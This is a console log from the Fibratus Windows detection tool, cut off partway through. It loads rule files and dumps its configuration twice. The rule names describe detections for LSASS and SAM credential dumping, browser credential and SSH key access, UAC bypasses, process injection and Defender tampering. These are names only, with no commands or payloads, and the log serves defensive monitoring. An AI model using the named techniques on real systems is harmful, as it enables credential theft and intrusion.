+time=2025-11-25T20:38:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T20:38:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-25T20:38:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-25T20:38:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-25T20:38:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-25T20:38:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T20:38:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-25T20:38:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-25T20:38:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-25T20:38:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-25T20:38:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-25T20:38:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T20:38:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-25T20:38:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-25T20:38:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-25T20:38:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-25T20:38:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-25T20:38:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-11-25T20:38:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-25T20:38:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-25T20:38:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-11-25T20:38:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T20:38:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler.yml source=config/filters.go:355 +time=2025-11-25T20:38:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-11-25T20:38:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-11-25T20:38:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-11-25T20:38:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-11-25T20:38:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-25T20:38:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T20:38:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T20:38:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-11-25T20:38:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-11-25T20:38:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-25T20:38:59+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-25T20:38:59+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-25T20:38:59+01:00 level=info msg=bootstrapping with pid 18772. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-25T20:39:00+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true] systray=>[ enabled=>false sound=>true quiet-mode=>false] mail=>[ enabled=>false port=>25 to=>[] content-type=>text/html use-template=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-images=>false serialize-handles=>false serialize-threads=>false serialize-envs=>true serialize-pe=>false] + eventsource .................... [ blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-thread=>true enable-registry=>true enable-vamap=>true enable-dns=>false stack-enrichment=>true buffer-size=>512 enable-threadpool=>false max-buffers=>36 enable-mem=>false enable-image=>true enable-fileio=>true min-buffers=>16 enable-audit-api=>true enable-net=>true flush-interval=>1s enable-handle=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]]] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ log-stdout=>true max-size=>100 level=>info max-age=>0 max-backups=>15 formatter=>text] + output ......................... [ elasticsearch=>[ enabled=>false sniff=>false healthcheck=>true index-name=>fibratus servers=>[http://127.0.0.1:9200] healthcheck-interval=>10s bulk-workers=>1 gzip-compression=>false healthcheck-timeout=>5s trace-log=>false timeout=>5s template-name=>fibratus flush-period=>1s] eventlog=>[ level=>info enabled=>false] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty] amqp=>[ url=>amqp://localhost:5672 passive=>false durable=>false exchange=>fibratus timeout=>5s vhost=>/ exchange-type=>topic routing-key=>fibratus tls-insecure-skip-verify=>false enabled=>false delivery-mode=>transient] http=>[ timeout=>5s tls-insecure-skip-verify=>false serializer=>json enable-gzip=>false method=>POST endpoints=>[] enabled=>false]] + pe ............................. [ read-sections=>false enabled=>false excluded-images=>[svchost.exe] read-resources=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ enabled=>false params=>[]] replace=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ skip-mmaps=>false scan-timeout=>10s excluded-procs=>[] enabled=>false skip-allocs=>false skip-files=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-registry=>false fastscan=>true excluded-files=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-25T20:39:00+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-25T20:39:02+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-25T20:39:52+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-25T20:39:52+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-25T20:39:52+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-25T20:39:55+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-25T20:39:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-25T20:39:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-25T20:39:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-25T20:39:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-25T20:39:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-25T20:39:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-25T20:39:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-25T20:39:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-25T20:39:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-25T20:39:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-25T20:39:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-25T20:39:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-25T20:39:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-25T20:39:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-25T20:39:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-25T20:39:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-25T20:39:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-25T20:39:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-25T20:39:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-25T20:39:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-25T20:39:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-25T20:39:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-25T20:39:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-25T20:39:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-25T20:39:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-25T20:39:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-25T20:39:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-25T20:39:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-25T20:39:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-25T20:39:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-25T20:39:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-25T20:39:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-25T20:39:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-25T20:39:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-25T20:39:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-25T20:39:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-25T20:39:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-25T20:39:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-25T20:39:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-25T20:39:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-25T20:39:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-25T20:39:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-25T20:39:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-25T20:39:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-25T20:39:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-25T20:39:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-25T20:39:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T20:39:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-25T20:39:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-25T20:39:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-25T20:39:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-25T20:39:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-25T20:39:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-25T20:39:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-25T20:39:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T20:39:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-25T20:39:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-25T20:39:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-25T20:39:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-25T20:39:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-25T20:39:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T20:39:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-25T20:39:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-25T20:39:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-25T20:39:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-25T20:39:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-25T20:39:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T20:39:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-25T20:39:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-25T20:39:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-25T20:39:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-25T20:39:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-25T20:39:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-25T20:39:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-25T20:39:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-25T20:39:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-25T20:39:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-25T20:39:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-25T20:39:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-11-25T20:39:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-25T20:39:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-25T20:39:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-11-25T20:39:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T20:39:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler.yml source=config/filters.go:355 +time=2025-11-25T20:39:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-11-25T20:39:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-11-25T20:39:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-11-25T20:39:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-11-25T20:39:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-25T20:39:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T20:39:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-25T20:39:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-11-25T20:39:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-11-25T20:39:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-25T20:39:55+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-25T20:39:55+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-25T20:39:55+01:00 level=info msg=bootstrapping with pid 20980. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-25T20:39:55+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ eventlog=>[ verbose=>true enabled=>true] slack=>[ enabled=>false] mail=>[ port=>25 to=>[] use-template=>true enabled=>false content-type=>text/html] systray=>[ enabled=>false quiet-mode=>false sound=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-images=>false serialize-envs=>true serialize-pe=>false serialize-handles=>false serialize-threads=>false] + eventsource .................... [ enable-image=>true max-buffers=>36 buffer-size=>512 enable-handle=>false enable-audit-api=>true enable-mem=>false enable-thread=>true min-buffers=>16 blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] flush-interval=>1s enable-net=>true enable-threadpool=>false stack-enrichment=>true enable-fileio=>true enable-registry=>true enable-vamap=>true enable-dns=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]] match-all=>true] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ log-stdout=>true max-age=>0 max-backups=>15 formatter=>text level=>info max-size=>100] + output ......................... [ eventlog=>[ level=>info enabled=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true format=>pretty] http=>[ enabled=>false method=>POST timeout=>5s serializer=>json enable-gzip=>false tls-insecure-skip-verify=>false endpoints=>[]] amqp=>[ passive=>false timeout=>5s exchange=>fibratus url=>amqp://localhost:5672 exchange-type=>topic tls-insecure-skip-verify=>false vhost=>/ durable=>false enabled=>false delivery-mode=>transient routing-key=>fibratus] elasticsearch=>[ bulk-workers=>1 flush-period=>1s healthcheck-timeout=>5s healthcheck-interval=>10s gzip-compression=>false healthcheck=>true trace-log=>false sniff=>false index-name=>fibratus enabled=>false template-name=>fibratus servers=>[http://127.0.0.1:9200] timeout=>5s]] + pe ............................. [ read-sections=>false enabled=>false read-symbols=>false excluded-images=>[svchost.exe] read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ 